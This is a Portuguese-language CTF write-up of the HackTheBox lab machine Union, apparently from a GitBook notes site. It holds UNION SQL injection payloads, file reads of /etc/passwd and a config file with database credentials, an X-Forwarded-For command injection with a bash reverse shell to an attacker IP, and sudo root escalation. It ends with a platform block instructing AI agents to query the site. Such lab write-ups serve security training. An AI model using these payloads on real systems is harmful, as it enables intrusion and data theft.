> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# Relato do HackTheBox Union

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**Habilidades:**

* SQLI (Injeção SQL) - Injeção UNION
* SQLI - Leitura de Arquivos
* Injeção de Comando em Cabeçalho HTTP - X-FORWARDED-FOR (RCE)
* Abusando do privilégio sudoers (Escalada de Privilégio)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/38fec74805a04b2b7230a82ec9c2fe7bac3cb228" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/59461116399a908598222585347e2e0f1e8f4a95" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="/files/9bfbfa156cb321441e28f51fe25fb2e9ca99340a" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Usando a função extractPorts para exibir portas abertas de forma concisa e copiá-las para a área de transferência (80)

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="/files/aa974aa196362fb3d33984cc976455663e5d94eb" alt=""><figcaption></figcaption></figure>

### Porta 80 - HTTP

<figure><img src="/files/717344461130760496d4cf576c5136615f92887a" alt=""><figcaption></figcaption></figure>

### Lista de Arquivos

com o gobuster fará uma enumeração de arquivos com extensões php

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

Existem dois arquivos que não estão acessíveis externamente: `config.php` e `firewall.php`.

<figure><img src="/files/3bbee8ccf9c757218109488126df0327417ac2cf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d19dc93a363e3fc3f4c2dc15129383c33151ab26" alt=""><figcaption></figcaption></figure>

Em `index.php`se adicionarmos um nome no formulário, ele aparece na resposta.

<figure><img src="/files/45c26d328cac4797bc297f6774bb938daf026525" alt=""><figcaption></figcaption></figure>

o arquivo do desafio nos pede uma flag

<figure><img src="/files/d474e5a2d239da44eedc410cad470e1c057b43ac" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade SQLI - Injeção UNION

Interceptamos a requisição com o Burp Suite e alteramos a variável `player`:

<figure><img src="/files/ace1afed16261075106336d3990ea89a218fbac9" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

O nome do banco de dados é `november`.

<figure><img src="/files/e0b3a94c515fd16f0bfe7a63320fc9d98b6ac9c6" alt=""><figcaption></figcaption></figure>

Para listar todos os bancos de dados:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

Resultado: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/e362ff3ed36bdb8af4f1d5df329833853725c789" alt=""><figcaption></figcaption></figure>

Liste as tabelas em `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="/files/2dba1956f7714dacf1fdda55537ccf1e873c8806" alt=""><figcaption></figcaption></figure>

Liste as colunas na `players` tabela:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

Colunas encontradas: `player`

<figure><img src="/files/83cf0d2666455bd07254a23497fbcf6d336704fe" alt=""><figcaption></figcaption></figure>

**Extração de Dados do Usuário**

```sql
jordan' union select group_concat(player,':') from players-- -
```

Jogadores encontrados: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/61667374181f30aa7975d751e1f3000fdae2c6f1" alt=""><figcaption></figcaption></figure>

Extração da flag:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="/files/b974f85bda4d5ead05cdfbb96c321d493da4d4fe" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="/files/43d619f81cdc861345f07b9a4fa15f3e2313da38" alt=""><figcaption></figcaption></figure>

* Flag encontrada: `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - Leitura de Arquivos**

Leitura `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

Encontramos um `uhc` usuário.

<figure><img src="/files/5f1bb31e2be718c2367f0641da48a737920c89e5" alt=""><figcaption></figcaption></figure>

### Flag user.txt

Leitura `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="/files/cedde2b7d2e0cea4a2158a35044eaf95821a6732" alt=""><figcaption></figcaption></figure>

Leitura `config.php`, encontramos credenciais do banco de dados:

<figure><img src="/files/62f06d42616e9e0879086e8afae9453ab19b5a92" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

Leitura `firewall.php`, entendemos que enviar a flag abre a porta SSH:

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="/files/5a5f24c8e9e8c0c135df789b441dd57581bef538" alt=""><figcaption></figcaption></figure>

Enviamos a flag: `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="/files/8f27772bdba31faf05a5541ebf089ceb111bfd18" alt=""><figcaption></figcaption></figure>

A porta 22 agora está aberta.<br>

<figure><img src="/files/ee7aa63879819635c304b62be6602f1e1cc56f2a" alt=""><figcaption></figcaption></figure>

### Conexão SSH

Usamos as credenciais identificadas para fazer login:

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="/files/671d501c0a9755867ff1242f3145eada5762d8f8" alt=""><figcaption></figcaption></figure>

## **Escalada de privilégios**

### Injeção de Comando em Cabeçalho HTTP - X-FORWARDED-FOR (RCE)

Se você olhar para o `firewall.php` arquivo, você percebe que ele recupera o `HTTP_X_FORWARDED_FOR` cabeçalho e o usa com `sudo` para executar um comando:

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="/files/96f8ed7686d9f089fe4f72f024e8d7c87a5fb562" alt=""><figcaption></figcaption></figure>

Como essa variável pode ser controlada por meio de uma requisição HTTP, podemos injetar um comando arbitrário.

**Exploração**

Como este é um cabeçalho HTTP, podemos injetar um comando, por exemplo usando `curl` para contatar nosso servidor web.

**Implementando um servidor web:**

```bash
python3 -m http.server 80
```

**Controle de injeção com `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="/files/fa5e867e75f60b26da7587e884aa2dce799a59ca" alt=""><figcaption></figcaption></figure>

**Shell reverso**

**Escute na porta 443:**

```bash
nc -nlvp 443
```

**Comando para obter uma shell remota:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

Uma vez conectado, somos o usuário `www-data`.

<figure><img src="/files/225da9fde83ec454fd6b7485b5647fe0d6d46732" alt=""><figcaption></figcaption></figure>

#### Estabilização do terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

Com o seguinte comando, verificamos `sudo` as permissões:

```bash
sudo -l 
```

<figure><img src="/files/71886c1f871990ec1b45793879c61aaea9269b1e" alt=""><figcaption></figcaption></figure>

Se virmos que `www-data` pode executar qualquer comando como qualquer usuário (`(ALL: ALL) ALL`), então podemos abrir uma shell root com:

```bash
sudo /bin/bash -p
```

<figure><img src="/files/311a256ca532c4b6fe0e42acc52da8005fa2ba94" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/0ada48eb4b2bf1d643930c4fa2d1d36f55d36024" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/551cffd9ada76a9a127826bd55b17d2ae988c71a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
